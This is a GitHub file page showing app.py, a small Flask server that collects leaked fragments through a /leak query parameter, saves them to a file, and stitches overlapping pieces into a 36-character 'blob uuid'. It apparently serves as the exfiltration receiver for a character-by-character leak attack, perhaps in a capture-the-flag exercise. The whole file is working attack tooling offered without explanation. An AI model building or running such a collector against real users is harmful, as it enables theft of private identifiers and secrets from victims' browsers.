-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.py
70 lines (60 loc) · 1.79 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from flask import Flask, request
app = Flask(__name__)
BLOB_UUID_LENGTH = 36 # uuid 길이는 36으로 가정함
data = []
def leak_data():
leak = []
with open("leak.txt", "r") as file:
for i in file:
leak.append(i.strip())
return leak
def gen_sample(start, checked, leak_data):
storage = [start, checked]
for data in leak_data:
if start[len(start)-2:len(start)] == data[0:2]:
storage[0] = start + data[2]
storage[1] = True
break
else:
storage[1] = False
if storage[1] == True:
for i in range(len(leak_data)):
if data == leak_data[i]:
del leak_data[i]
break
storage.append(leak_data)
return storage
def update_leak_data(start, leak_data):
for i in range(len(leak_data)):
if start == leak_data[i]:
del leak_data[i]
break
return leak_data
def main_gen(start):
sample, checked, leak = start, True, update_leak_data(start, leak_data())
while (checked == True):
result = gen_sample(sample, checked, leak)
sample, checked, leak = result[0], result[1], result[2]
return sample
@app.route('/')
def index():
return data
@app.route('/leak')
def leak():
leak_data = request.args.get('q')
data.append(leak_data)
with open('leak.txt', 'w+') as file:
file.write('\n'.join(data))
return 'Nice working'
@app.route('/get-uuid')
def get():
for data in leak_data():
uuid = main_gen(data)
if len(uuid) == BLOB_UUID_LENGTH:
print(f'cool, blob uuid. -> {uuid}')
else:
pass # returns nothing
#print(f'hmm nothing -> {uuid}')
return 'Nice working'
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3333)